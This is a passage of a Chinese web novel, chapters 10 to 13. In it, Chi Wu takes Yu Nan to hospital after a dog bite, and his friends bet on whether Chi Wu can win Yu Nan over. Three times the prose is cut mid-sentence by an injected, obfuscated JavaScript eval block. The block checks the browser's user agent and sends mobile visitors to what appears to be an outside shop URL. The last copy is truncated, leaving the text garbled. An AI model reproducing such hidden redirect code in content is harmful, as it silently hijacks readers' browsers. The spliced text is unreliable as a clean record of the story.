但九月三只是缩在于南的腿后,甚至视线都不敢和迟雾对上。那双威风凛凛的金瞳中盛满畏缩。 迟雾有些失望,摸了摸九月三的脑袋。 真难得。 九月三见到他的鬼魂时不是咬就是扑,还是第一次这么乖乖地让他揉圆捏扁。 迟雾又开始找话题:“那九月三是你捡到他的日子?” “不是。”于南摇头,看着蹲在自己腿边的一人一狗,不自觉柔和些许神情,“是我……..弟弟的生日。” “弟弟?”这个迟雾也从没听于南说过。 于南还有个弟弟? 迟雾顺势问道:“亲弟弟吗?” 于南摇摇头,“没有血缘关系,一起长大的。” 青梅竹马啊。 迟雾脸上表情没忍住一垮。 迟雾撇撇嘴,又试探着问:“和你差不多大?” 于南说:“比我小三岁。” “哦。”迟雾麻木地想,年龄还真般配。他的手始终停留在九月三的脑袋上,就这么一走神儿,手就往脑袋旁去摸,稍不注意,手指就触碰到了九月三的耳朵上,而后整个手掌都压上去。 九月三颤抖了下,直接张开嘴朝他咬过去。 “嗷呜!” 迟雾来不及躲,其实根本就没想起来躲,他几乎已经养成了被九月三咬上一口后变成一团散开的雾的习惯,根本不在意这么突如其来的一口。 于是,他眼睁睁地看着九月三的嘴张开又闭上,尖锐的牙齿直接刺进手掌,而后犹如春日开花般,瞬间便绽放鲜红一片。 “……..” “于南!”迟雾终于反应过来,他看着自己安然无恙的手掌,再看着于南那赫然出现个血洞的掌心,连忙伸手抓住于南的手腕,盯着那触目惊心的伤口,连连低声安慰:“不疼,于南,不疼。” 他动作慌乱地掏出手机,单手颤颤巍巍地在屏幕上点击几下,却因为颤抖得太过厉害,连给手机解锁都做不到。迟雾深吸口气,想稳住手上的动作,他终于打来拨号界面,在上面快速摁下120三个数字,但电话还未来得及拨出,就被于南拦住。 于南说:“迟雾,不需要。” 顿了顿,于南见迟雾抖得实在厉害,便扯出自己受伤的那只手,面无表情地在伤口上摁了下,而后说:““你看,伤口不深,不疼。” 迟雾紧盯着他,突然觉得,于南怎么这么会骗人。 怎么可能不疼。 迟雾又看了眼九月三,他想骂九月三是只没脑子的凶狗,连于南和他的手都区分不开,直接就咬上去了,又觉得应该先骂自己没记性,明知道九月三内里是恶犬,还非要去招惹。现在好了,他没被咬,苦肉计没得实施,于南还被咬了,他心疼得不行。 迟雾扔下句:“于南,你等我。” 话落下,他便直接跑到对街去,拉开车门上了车,踩下油门。 温琳瞧他终于舍得回来了,悠悠地说:“我还以为你不打算回来了呢,魂儿都被人勾走了。” 迟雾却没打算理他,而是直接发布任务:“温琳,用导航找最近的一家医院。” “直接去一院不就好了,离这儿又不远,这附近最近的医院应该都是小诊所,不如去一院保险。”温琳也将那两人之间的情形看得一清二楚,自然也看见了于南被狗咬的那么一口,但说实话,温琳这个视角看的远比当局两人要更清楚、更全面。 且温琳一直在有意无意地观察于南,自然没错过于南被狗咬之前的动作。他分明看见,在那条狗张嘴之前,于南动作很小的扯了下狗绳,而且那用劲儿方式很巧妙,不至于让迟雾发现端倪,又能给那条狗一种信号—— 这是什么信号呢。 进攻? 还是危险。 温琳摩挲了下下巴。 应该是危险吧。 那条狗胆小的样子可不像被特意训练过。 他也都是第一次见胆子这么小的捷克狼犬。 危险,所以激发了那一下咬人的动作。 而且,那个男人伸手去挡的动作比狗张嘴咬人的动作还要提前出现。 温琳用胳膊撑着车门,下巴压着掌心,修长的手指有一搭没一搭地点着脸颊。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14199125|150851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 这男人,够聪明。 温琳没忍住笑了下。 迟雾已经把车停在了于南面前,而后下车,甚至连车门都来不及关,就冲温琳摆摆手道:“温琳,下车。” 温琳被呛了下,不敢置信地看着迟雾,手指着自己,重复了遍:“我下去?” 迟雾却已经伸手去牵九月三的狗绳,还瞪了九月三眼,九月三被他瞪得哼唧了声,又往于南的腿后躲了躲。 迟雾牵着狗走向副驾驶,拉开车门,“你的车呢?” 温琳看他火急火燎的动作,知道这家伙是要赶自己了。 靠。 还真被骗得团团转啊。 温琳看了于南一眼,颇为无语地叹了口气。 “在附近,被林小哥开去了。”温琳边下车边说。 “叫他来接你。”扔下这句话,迟雾就把于南牵过来,示意他坐到副驾驶上。 然后温琳就眼睁睁地看着刚被自己捂热的座位就被别人给坐上去了。关键是那人还保准目的不纯。 九月三的狗绳被送到温琳手里。 迟雾说:“你带着它跟在我后面,一起去一院。” 温琳:“?” 老子他妈的变成看狗人了。 还不待温琳开口,于南就出声说道:“迟雾,九月三不是故意咬人的,他只是耳朵很敏感,被摸到了就会害怕,所以才……..他已经很害怕了,让他跟着别人可能还会应激,我没事,我带他回家吧。” 说着,于南就要下车。 迟雾连忙把九月三牵进车里,让他趴在于南的腿上,见他始终乖乖的,没什么多余的动作,才放心地去了主驾驶位,还不忘交代温琳一句:“哪凉快去哪玩吧,没你事儿了。” 而后,一脚油门,尾气直接化作雾霾将温琳淹没。 温琳:“………我*****” 温琳站在原地点了根烟,觉得,人生的大起大落也不过如此了。 就迟雾这样,还挖墙角? 他连这种把戏都看不出来,别说挖墙脚了,铲子他都用不明白! 温琳绝不承认自己是气急败坏了,他只是单纯阐述事实,嗯,就是这样。 跑车一路远奔,不断超车。 迟雾时时注意于南的情况,见他脸色还算可以,才松了口气。 于南则将视线落在脚下随意扔着的玫瑰花上,陡然开口问道:“我打断了你们的约会吗?” 他声音很低,掠过的风将他头发吹得凌乱,眉眼被遮住大半,嘴唇干涩,看起来像是失去血色的前兆。 迟雾连忙说:“于南,你先别说话。” 于南果然不说话了,他紧抿嘴唇,低垂着眼。 迟雾却觉得有哪不大对劲。 迟雾下意识地解释了句:“没有约会,我俩只是普通朋友。” 于南笑了下,说:“玫瑰花送朋友也很漂亮。” 迟雾觉得这话还是有些别扭,回了句:“花不是送他的。” “那是送谁的?”于南顺势问。 “当然是送给……..” 你的。 剩下两个字被迟雾吞咽回去。 在于南眼里,他俩才刚认识,说这种话不就像扯谎话了吗,说不准还要被当作轻佻下流。 迟雾说:“……..送给我自己的,我自恋。” 11. 第 11 章 于南的掌心还在流血,血液滴落在牛仔裤上,浸染出一滩似圆非圆且有棱角的形状,不大规则,但落在眼里,莫名有两分像那扔在脚边的玫瑰花。只不过这朵“玫瑰”是孤零零的,仅此一朵。 九月三把脸埋在于南的外套衣摆下,一只爪子搭在于南的手腕处,应当是晓得自己闯了祸,全程半分声响都没有。 而于南却用未受伤那只手有一搭没一搭地摸着九月三的脑袋,他低垂着眼,神情淡淡,仿佛那还在流血的伤口压根儿不存在般。 迟雾抄了几个小道,压着限速的线,直奔一院。 他全程紧盯着道路,逮着空子就往前挤。 自然也没瞧见于南之后一直在盯着他。 于南的伤口很深,犬牙几乎咬进入一半,稍有偏差就要伤到筋骨,缝完针后,他的手掌整个还是麻着的。 迟雾陪着他在病房里打点滴。 冰冷的药液顺着输液管流淌进血管里。 于南的胳膊上起了层不明显的鸡皮疙瘩。 加之医院这种地方总是莫名阴冷,好像一年四季从来都没有暖和的时候,就好像外边儿的太阳照不进这个充满病气悲恸的建筑内。 迟雾用掌心捂着输液管靠近针头的那一段,药液进入血管前,短暂地被他捂热那么一秒,而后再次变得冰冷。 迟雾有些不敢看于南手上包扎的纱布,上面还带着点儿渗出的血红。 “于南,你饿吗。”迟雾问。 于南看着他,摇摇头,“我早上吃过饭了。” “可是现在是中午了。”迟雾看着墙壁上钟表指针旋转至十一点整,说:“该吃中午饭了,你早上吃了什么?” “忘记了。”于南说。 早上吃的什么,怎么可能现在就忘了呢。 迟雾眼睫颤了下,抬起眼看于南的眼睛,小声说:“你是不是没吃啊?” 是了。 于南八点钟才下班,回去收拾好一切,就要牵着孤零零待在地下室里一整晚的九月三出去溜圈。 狗需要接触阳光,以此存活。 于南如果直接睡去了,再醒来就是下午,那时候街道上的人要更多,九月三到底是只狼犬,那些人总是躲着避着,九月三也藏着怕着。 人类和犬类相逢时,都在胆怯。 所以于南总是先带着九月三出去走一圈再回到逼仄的地下室里睡觉。 于南发现,他好像不太会撒谎,总是这么轻易就被人拆穿。 九月三进不去医院,被暂且送往隔壁专门的看护处。里面大多数房间里都是被留在这儿的不方便走动的小孩儿或老人,只有九月三和这群人类格格不入,它是一只刚犯了罪的狗。 它被留在看护处最里面的房间里,蜷缩在小床上,于南还给它留了根火腿肠。 现在病房内只有这两人。 于南坐在病床边,背靠着墙。迟雾则就着个矮凳坐在病床旁,人要比于南矮上大半,抬起头时,视野更先撞上于南的胸膛。 他看见于南的胸膛颤了下,像是在笑。 迟雾眨了下眼,不明白他为什么笑,“于南,你笑什么。” 于南摇头,说:“没什么。” 迟雾扁扁唇不再追问,却掏出手机找到某串号码,发过去条消息,而后重新将手机放回兜里,一抬眼,就发现于南还在盯着他看。 上一辈子,于南也总是喜欢这么盯着他。 尤其是在病房这种场景下,迟雾一恍惚,好像又回到了过去,他没忍住说了句:“于南,我好疼啊。” 这是他的惯用手段。 那时候他基本一天二十四小时中,有二十二个小时身上都是疼着的,而那难得不疼的两个小时,他也要装可怜地喊着疼,就为了让于南哄哄他。 于南特别会哄人,就像是从小到大都在哄着别的小孩儿的孩子王,他脑袋上没有金灿灿的小圆环,但在迟雾眼里,他就是天使,还是充满星星眼滤镜的超帅版。 迟雾声音很小,于南没大听清。 但于南一直盯着迟雾的嘴唇看。 他认得那个口型。 于南问他:“哪?胃还是脑袋?” 他话音未落,手已经伸出去,大拇指轻压在迟雾的太阳穴上,指腹冰冷的温度紧贴着迟雾,凉得他神经骤然绷紧。 不知是因为于南的温度,还是因为于南俯着身子靠近他,两人的距离也在不断拉近,铺天盖地的消毒水味里,他能嗅到于南身上淡淡的洗涤剂味,很香。 于南用些力将指腹下压,轻轻地揉了下太阳穴,边揉还边问:“现在呢,好点儿了吗?还是脑袋不疼,胃疼?” 迟雾呆愣着扬起下巴,把自己的脸往于南掌心上贴。他觉得自己这个姿势特别像九月三,被主人捧着脑袋,顺着毛。 可惜他没毛。 也不对,他脑袋上有。 但他不想让于南摸那儿的,想让他摸摸别的地方。 迟雾的喉结缓慢地滚动了下。 “……..还是疼,你再摸摸我。”他说。 于南手上的动作一顿。 迟雾倏地清醒过来。 他过界了。 迟雾下意识地低下头,把身体一同往后撤,却在下一秒被于南托住了下巴,于南将他的脑袋一点点地抬起来。 迟雾不敢看他。 这实在是太变态了。 第一次见面的陌生人让你多摸摸他。 要是有人敢对迟雾这么说,迟雾保准要一脚把他飞踹上天,和太阳肩并肩。 迟雾下定决心,下次见着于南,一定给自己的嘴上贴个胶带,别再脑袋一昏,什么瞎话都往出跑,弄得像饥渴难耐过后来于南这儿求爱一样,太丢脸了。 迟雾慌忙站起身,抓着输液管的手也收回来,谨慎地贴紧裤线,俨然把自己当成了个风吹日晒的小兵,保持住,绝对不能再乱动了。 手脚必须控制住。 迟雾说:“我……..我出去取吃的,时间差不多了,应该已经送过来了。” 说罢,他也不给于南反应时间,直接就往病房外走,却迎面撞上个人,两人肩膀毫无缓冲地撞到一块儿,撞得迟雾感觉自己锁骨要就此骨折了。 那人倒吸一口凉气,“迟雾,你急得像个马猴一样是干啥?”他还伸手拽了把迟雾。 迟雾站稳后,便见他已经朝着病床走去。 苏贺年拎着保温桶,径直走到于南面前,而后动作稔熟地将保温桶打开,把里面的菜品一一摆在身侧的小桌上,再把身后的背包拿下来,从里面掏出个热水袋,又掏出个保温杯。 他先把热水袋放到于南怀里,再把保温杯拧开,而后递到于南嘴边,说道:“鸡汤,挺好喝的,还大补。” 他那一套流水线下来,不知道的还以为是从哪请来的金牌月嫂。 于南看着他,没动。 苏贺年叹了口气,咳嗽了声,清清嗓,而后站直了些,字正腔圆道:“苏家小子专熬鸡汤,营养健康,汤汁可口,一勺下去,一只鸡的营养全部蕴含其中,你买不了吃亏买不了上当,就这么一杯,不要998,不要888,只要88!物美价廉哈,不要错过哦亲~” 最后一句,他脸上挤出个菊花似的笑,身上的校服外套都被他衬得像家政工作服似的,尤其是他还一手拿杯,一手托着杯底,又弓着腰往于南面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14199126|150851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前送了送,颇为谄媚。 于南:“……..” 迟雾:“……..” 迟雾走上前,一把接过鸡汤,问他:“你怎么找到的。” 苏贺年瞥他一眼,“你不是都说了吗,这屋冷得很,我就顺着走廊往里走,就数这屋门口往外灌风灌得嗖嗖的。” 他走到窗边,动作干脆利落地把窗户全部关上,“话说,你这不关窗,能不冷嘛。” 迟雾“哦”了一声,重新坐回小矮椅上,被他这么一打岔,心底那么点儿尴尬也瞬间烟消云散。 迟雾找出个勺子,打算一口一口喂于南喝。 之前都是于南喂他喝粥喝汤,这还是他第一次动手呢。 迟雾小心翼翼地找准角度,把勺子贴到于南的下唇,下边用杯子接着,防止汤漏到病床上。 苏贺年看他那架势,嘴角抽搐了下。 不是吧。 看来温琳说的还是真的啊。 迟雾这是一见钟情? 钟的也太彻底了吧,都成人妻了。 苏贺年走到迟雾身后,悠悠冒出来句:“迟雾,你出来一下,咱俩谈谈。” 于南掀起眼皮看了他一下,自觉接过保温杯,没张嘴去就着勺子喝那一口汤。 迟雾看他不打算让自己喂,心里小小的失落了下,便干脆把保温杯放到他掌心上,还嘱咐道:“于南,你先拿着暖暖手,我一会儿就回来。” 他走前还不忘把热水袋放到于南腿旁,稍稍贴着输液管。 出了门。 迟雾说:“干什么。” 苏贺年朝病房里望了望,见于南正垂着眼不知在想什么,没注意他俩这边的情况,才把迟雾往旁边扯了扯,语重心长地说:“迟雾啊。” 迟雾:“?” 迟雾面无表情地说:“别学班主任那一套。” 他们班主任是个快退休的老头,说话慢悠悠的,叫人名字总是习惯性拖长尾音,恨不得一句话绕山路十八弯绕上七七四十九圈,跟某种不知名的祭祀吟唱是的,只不过没什么好听的调子。 苏贺年仍旧拉长音说:“你不能这样啊,你不是要挖墙脚吗?这个我在行,你别中途放弃去和别人搞一见钟情啊。” 迟雾说:“……..温琳跟你说的?” 苏贺年默认了。 温琳嘴比火箭都快。 苏贺年又说:“重点不在这儿,而在于,挖墙脚更有体验感啊,你得专一,接着挖,勤勤恳恳地挖,我肯定不像温琳是的让你拿钱砸人,太庸俗了,我教你什么叫纯欲战神,我这一套方法下去,保准再牢的百年老墙也能让你挖出个老鼠洞。” 迟雾:“……..” 迟雾猜着了:“你俩是不是又拿我打赌了?” 苏贺年再次默认。 迟雾冷着脸说:“赌徒只有一个下场,知道吗?” 苏贺年说:“知道知道,赚得盆满钵满嘛。” 迟雾说:“赔得平角裤叉都穿不起。” 苏贺年:“……..我会向温琳转告你对他的祝福的。” 苏贺年仍旧不死心道:“真的,迟雾你信我,挖墙脚更爽啊,我告诉我是哪个妞,我今晚就给你做个pdf战略手册。” 迟雾盯他两秒,“里面那个。” 苏贺年探探脑瓜:“哪呢妞?我就看见个……..” “不是吧!?”苏贺年跳起来:“一个人啊,那这我和温琳还咋算赌注?” 他瞬间萎了。 但苏贺年这人最擅长自救,当即一拍手,说:“你换个墙角,我教你同时挖八个。” 迟雾指着远处,“圆润地离开。” 12. 第 12 章 迟雾回到病房,就和于南对上视线,他霎时心虚了一秒,往后头刚关上的门看了一眼。 这门应该挺隔音的吧…….. 于南又重新低下头,看着手里的保温杯。 迟雾往前走了两步,身后的门再次被推开,一声吱呀的响,他下意识以为是苏贺年阴魂不散地又挤进来,却看见道身影快速掠过自己身边。 护士动作麻利地换了瓶药,将已经见底的那瓶拿着出去了,但她半只脚刚迈出去,又退回来,提醒了句:“上一瓶药打得有点儿太快了,这瓶不要调那么快了,血管受不了,会很疼。” 迟雾应了声,“好。” 护士看了他眼,才离开。 门再次紧密地关阖上。 于南将保温杯放到床侧小桌上,朝着输液管的调速扣摸去,大拇指刚摁上去,就被迟雾抓住了手。 迟雾说:“你赶时间吗?” 于南说:“赶。” 迟雾沉默一秒,收回了手,视线却仍旧紧盯着调速扣,像是准备等于南动手的时候再去拦,他状似随意地问:“是有什么急事吗?这针还是打慢点儿比较好,打太快了血管疼起来一阵一阵的,跟连着脑袋神经是的,一起疼,缓上几天都缓不过来。” 于南到底还是把调速扣推上去了,药液滴下的速度更快,几乎一滴接着一滴地往滴壶里坠。他没答究竟有什么急事儿,而是问迟雾:“以前经常打针?” 迟雾的手搭在膝盖上,看见调速扣被推到最上端,伸出手去把它往下调了调,原本想调到最底端,用最慢的速度输完这瓶药,最好是能逐帧减速,让他和于南面对着面到地久天长,但理智稍微回笼,终究还只是把调速扣压到中间的位置,不快不慢,算是他和于南各让一步。 于南看着他的动作,没阻止。 迟雾觑了他眼,又有些后悔没干脆失心疯地调到最底端,但想想,他要是真那么干了,可实在是太招人烦了,于南应当也不大喜欢这种爱指手画脚的人。 迟雾把手重新放回膝骨上,“初中的时候经常生病,那时候几乎每天晚上都要打一针。” 说着,他伸出手,亮出手背上留下的一排针孔疤,细小的远点印在在手背正中央排列成不大整齐的一行,就像是缩小版的被人抽出来的脊骨,安在上面,被氧化得稍稍泛青。 迟雾说:“这都是那时候留下的。” 他还耍小聪明抓起于南的手指压上去,牵引着他慢慢地来回摸了两下,才嘟囔道:“摸不太出疤痕的感觉,针孔太小了,但是留在手背上也不大好看,别人看见了还说我这是长在手背上的龙骨,说我要小鲤鱼跃龙门了,以后还能长出鳞片呢。” 于南问他:“那你是想当小鲤鱼还是跃过门的龙?” 迟雾想都没想就说:“还是当人吧。” “为什么?”于南问。 迟雾说:“没有为什么,可能当人更自在吧。” 而且长得也还行,没有厚重的鳞片,也没有两条突兀的胡须。迟雾想,他要是变成别的动物,他都要嫌弃死自己。 迟雾没松开抓着于南的手,两人都刻意忽视这个突兀得将两人距离拉至最近的动作,可手指搭在手背的的触感如此清晰,迟雾甚至能感觉到于南指腹下有成堆的蚂蚁爬过,啃食着那丑陋的龙骨,痒得他越来越无法忽视那双手的存在,他捏着于南手腕的力道稍微加重了些。 于南的手指比方才更凉了。 应当是药液注射到体内,把温热的血液稀释,也把他身上少得可怜的热气给不留情面地浇灭了。 迟雾又想去捏调速扣,但又舍不得松开于南的手。 迟雾突兀地说:“你呢,你想当小鲤鱼还是龙?” 于南轻声说:“人吧。” 迟雾也问:“为什么?” 于南摇摇头,“和你一样,说不出原因。” 这时候的于南比八年后更让迟雾觉得难猜,他就像是个从未设定答案的谜语,迟雾想摸清由来,却又无从下手,又不能粗鲁地把谜语纸条撕碎,直冲过去质问设谜人,也就只能在脑袋里把一个个于南没答清的问题写到个记忆笔记本里,留存着,等以后再磨着于南问上个千八百遍。 分明调速扣已经压到中间,但这瓶药还是流得极快,迟雾抬眼看了下,药液只剩很浅一层。 或许是这瓶药本来就没多少,又或许是时间过得比迟雾想象中还要快。 迟雾忍耐了下,可以放平语调问:“能留个联系方式吗?你是因为我才被咬伤的,我想之后探望一下,看看你的伤口恢复得怎么样。” 于南说:“探望就不用了。” 住在地下室里,让迟雾从阳光大道走下去探望他吗,实在是太落魄难堪了。 他没想到这么早就能遇见他的,甚至说上话。 迟雾抓着他的手瞬间收紧,“那留联系方式呢?” 他那试探的表情,分明是在说——求你了,至少允许一个吧。 于南盯着他数秒,不明白一切为什么来得这么突然。 是梦吗。 或许是,又或许不是。 他很久没做梦了,出狱后就一直没有了。 于南说:“好。” 迟雾连忙拿出手机,“你说,我记。” 于南念出串数字,看着迟雾输入一个数字,他才接着吐出下一个。 迟雾将号码存到通讯录里,在打备注的时候手指迟钝了下,余光里见于南正在盯着自己,才慢吞吞地打上了“于南”两个端正的字。 太正式了。 过后再改吧。 迟雾不满地想。 他拨通号码,于南侧兜里的手机嗡响了两声。 于南掏出手机,看了眼。 迟雾说:“你也把我的号码存上吧,要是伤口疼得厉害就给我打电话,我手机二十四小时开机,绝对不会让你找不到人。” 他仰着笑脸保证。 急促的电话铃声仍旧在响,紧张的节奏像是在催人应下这句保证,至少,给个满意的答复。 于南挂断电话,在铃声停下那刻说:“好。” 可他又把手机重新放进兜里,没什么和存号码相关联的动作,迟雾脸上的笑容也不免一僵。 现在打着针,动作不方便,回去就存了。迟雾这样安慰自己。 迟雾又重复道:“你一定要找我。” “你没必要这样,咬那一下,不会很疼的,现在就已经没感……..”话还没说完,于南的眉头就倏地往中间一拢,嘴唇也都颤了下,他插着针的那只手掌哆嗦了下。 迟雾顺着看过去,发现于南的手掌已经极度苍白,或许是因为还掺杂着缕属于血管的刺眼的青色,衬得这抹白远比墙壁上的纯白色更要刺眼。 于南蜷缩了下手指,手背弯出道弧度,针管在上面搭着,翘起个不明显的边。 “疼吗?”迟雾忙不迭地伸手去压调速扣,可药液已经快见底,这瓶药马上就要打完,这时候调慢速度也不过是亡羊补牢。 于南的手指还在抖,他那没说完的话慢吞吞地补上:“……..没感觉了,不疼。” 只不过在肌肉无意识的抽搐面前,他这过于拙劣的谎言根本骗不过任何人。 迟雾用手掌握住于南手掌上没被针管覆盖的部分,小心仔细地用掌心的温度去温热这团冻牢的冰。 于南的温度渡到他的掌心,凉得他牙颤。 血管得疼成什么样啊。 于南却始终一言不发。 什么事儿能让他这么着急? 那男人? 迟雾倏地大梦初醒般将自己的手挪开了些,掌根却还贴在于南的手掌上,他问:“于南,我还没问,你有……..男朋友或是女朋友吗?我这样会不会不太好?” 终于问出来了。 迟雾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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这下,他彻底用两只手抓牢于南,毫不吝啬地让他汲取自己身上的温度。 于南却覆手摁上去,“我自己来吧。” 迟雾恋恋不舍地松开了手。 医生开了不少药,全都装在袋子里。 迟雾拎着袋子,把热水袋放到于南的怀里,调整好角度,尽可能让热水袋多接触于南的身体,才说:“我去接九月三,你现在这儿等我吧,外面冷。” 于南摇头拒绝:“我去就好,然后直接走了。” 顿了顿,他又说:“医药费,我明天给你。” 迟雾忙说:“不用!” 见于南还要拒绝,他才补了句:“这事儿我全责,要不我俩找个法官评评理,医药费肯定是要我出的。” 这下,直接把这芝麻大的小事儿抬到法庭判决高度,他真不知道还能怎么说了。 迟雾手快地推开病房门,打算避过这个话题,“我送你。” 但门一拉开,就对上一张大脸。 苏贺年还没走。 他正抱臂眯着眼睛看迟雾,手摩挲着下巴,连连咂舌道:“墙角改变世界,够勤劳。” 于南看了他眼,说:“我先走了。” 迟雾想跟上去,却被苏贺年拦住。 苏贺年慢悠悠地说:“别跟了,你这么殷勤,再老旧易挖的墙角都要糊死了,留点儿距离感,留点儿神秘感,才让人家有新鲜感啊,要不你拿什么出众啊,第一次正式接触就这么粘人,很容易触底反弹的啊,直接把你弹到天上,以后连人家手指头都碰不着。” 迟雾脚步一顿。 也是这么一停顿。 于南上了电梯,身影彻底消失。 苏贺年走到迟雾身边,拍拍他的肩膀,说:“兄弟我肯定帮你,我和温琳重新划分好赌局赌注了,我是正方,赌你挖墙脚成功后能谈上一百天,他则是杀千刀的反派角色,赌你俩没几天就掰了。” 迟雾转过身,一字一顿道:“我和他要是没好一辈子,就先拿你俩祭天,换我俩下辈子长久。” 苏贺年梗着脖子:“你是法师啊?走位六不?” 13. 第 13 章 苏贺年和温琳撞到一块就是两个易燃易爆炸的小行星窜着鬼火,一路火花带闪电地比着速度往地球上砸,迟雾就是那个被毫不留情地上窜着的蓝火围剿的地球。 温琳还好些,他找乐子的方式多了去了,注意力像一块只有巴掌大的小蛋糕,要精打细算着分割成一千份,每一份都放到不同的乐子上去,而属于这幼稚的打发时间的赌局上的也只有其中一份。但苏贺年就不同了,要说他这人对什么感兴趣,一是下厨房,二就是上赌局。 苏贺年为了赢一场赌可谓是煞费苦心,回去的一路上,他都在副驾驶粘牙切齿地追问着细节。 “他多大?” “比我大三岁。” “ok,才三岁,没代沟,好搞定。” 苏贺年在不知道从哪掏出来的小本本上勾勾划划地记录着,还在纸页上花画了个小表格,只不过每尺子比对着,他画下来全凭直觉,但显然他高估自己了,一条线下来,手抖得像装了缝纫机一样,疯狂跑偏,那条线被他画得像条充满沟壑的土路,一言难尽。 他也算是有审美,盯着那条线看了两秒,给自己洗脑了一遍,硬是把它看直了,才接着画几条横、竖线,结果表格画成了就像让人一拳打爆的几个纸箱子堆叠在一起,看起来特别扭。 苏贺年果断给表格画了个大叉,选择采取直白的文字记录,注意些排版就行了。 “留联系方式了没。” “留了。” “刚才你俩聊的最大尺度到哪了。” “……..” 迟雾脚踩了下刹车,把车速放慢,抽出注意力在余光里看了眼苏贺年,见他那副端正的神态比做五三都认真,坐得背比钢板都直,也是够难得的。 迟雾问:“聊个天能有多大尺度?苏贺年你清清脑袋里的脏东西吧。” 苏贺年抬头看了他眼,掰着手指举例说明:“很多啊,语言是最直白的交流,最小的尺度就是问两句‘吃了没’……..” 这个问过了,迟雾想。 “……..中等一点儿就是你喜欢什么。” 这个没问,下次问。 之后苏贺年就专注在小本本上记录,迟迟没有下一句。 迟雾见他停在最恰当的地方,便收回注意力,专心去开车,脚踩油门,加速。 苏贺年的下一句迟迟地到了:“再大的尺度就是问问他打算什么时候结婚,黄道吉日我挑好了,下个月三号就很不错,你俩可以买一号早上十点二十分那趟航班,到美国后先歇一歇,培养下感情,然后直接去领证,酒店我也看好了,有一家……..” 迟雾眉心跳了跳,“苏贺年。” 苏贺年停了笔,“好吧你们还没聊到这儿,你俩约了下次什么时候见面吗?” “没有。”迟雾说:“但是我说了回去探望他的伤。” 虽然于南没答应,但迟雾觉得自己可以偷偷跑过去,就远远地看上一眼也行。 苏贺年点点头,说:“下次见面的时候记得问一下,我好决定一下婚礼哪天办。” 迟雾:“?” 虽然迟雾也想尽快将一切尘埃落定,但和也太快了。他是想早点儿和于南拥抱着亲吻对方,不是想快点儿强迫着于南和他走一道形式主义的红毯。 迟雾说:“苏贺年,你疯了?” 苏贺年听见这话,用笔杆不重不轻地敲了下硬壳本的边缘,“要不你现在给他发信息问?” 迟雾:“……..” 苏贺年叹了口气,说:“别怪我着急,温琳这次下的赌注实在是太合我心意了,这要我赢了,他就把他家那个厨师送过来让我拜师学两天,你是没吃过那个师傅做的菜,特好吃,好吃级别中的牛逼级别,要是我学会了,然后做给我妈吃,她肯定得夸我个三天三夜,这次我必须让她承认我是青出于蓝而胜于蓝,我的厨艺比她可好了不少呢。” 说完。 苏贺年咂巴了下嘴,接着低头看小本本,继续盘问道:“他和他男朋友在一起多久了,有一个月没?” 迟雾沉默两秒,说:“我搞错了,他没男朋友。” 苏贺年瞥他眼,“这东西怎么会搞错,你之前看见他和男人接触,然后以为那是他男朋友?” 迟雾“嗯”了一声。 苏贺年当即道:“那你又怎么知道那不是他男朋友的呢?你问他了?” 迟雾再次应下。 “你怎么知道他不是在骗你?”苏贺年老神在在地说:“你俩现在还不熟吧,出于某种保护隐私的原因,他可能选择隐瞒男朋友的存在,而且,说不准他是和温琳一样的花心大萝卜呢,见一个爱一个,只要没结婚,对外统称单身无恋人。” 恰逢红灯,迟雾停下车,看着前方汽车的尾灯,微微蹙眉。 于南不花心,但他们不熟是事实。 选择用谎言来充作答案也不是没可能。 迟雾说:“可是他说他没有。” “嗯,知道知道。”苏贺年边在本本上一笔一划地写字,边说:“这对你来说也很有利啊,他说没有,那不论真相如何,你就当作他没有,你只要乘胜追击,一步步击垮敌人的防线就可以了,到时候要是其实有一个男朋友的存在,他看见你这攻势也会自动退缩,然后你就抱得美人归了,晚上抱着酒杯流泪的也不会是你迟小少爷。” 苏贺年把本递到迟雾手里,扬扬下巴,示意他看,嘴上接着说:“你俩正式在一起后记得通知我一声,我好看看黄道吉日,顺便把婚礼也一道布置了。” 迟雾垂眼看本上写着的密密麻麻的小字。 说实话,苏贺年的字很丑,简单粗暴来说,就是丑到爆,像几只蜈蚣爬在纸上,歪斜扭曲。 迟雾仔细盯着那一页字挨个看,才看到第三个字,就听见后面的车鸣笛,他抬头一看,红绿灯变了,绿灯通行,他只得把本递还给苏贺年,“你念。” 至于苏贺年那一通鬼话完全被他忽略了去。 苏贺年接过小本本,阖上放到一旁,而后双手开始比划宏图伟业,语气激昂得像某些不正道的传销组织,还是已然入魔那种:“首先,这人吧,我刚才简单观察了一下,确实有两分姿色,我觉得他跟在你身边也不错,稍微收拾收拾,说不准你还能给他捧成个大明星呢,跟在身边更有面子。” 迟雾说:“他不会想做明星。” 于南不是那种追名逐利的人,他亲口说过,他只想平稳幸福地过一辈子,顺顺利利无坎坷、无病痛、无分离。 苏贺年也不知道听没听这句,接着说:“其次,我刚才着手让人查了一下,于南是吧。” 迟雾扫他一眼,没想到他动作这么快。迟雾从未想过直接找人去查于南,比起知晓于南的过去,他更想亲自窝在于南的身边感受他的过去留下来的那些东西。 着手查一个人的过去,将他前半生种种通通简缩成个个黑字 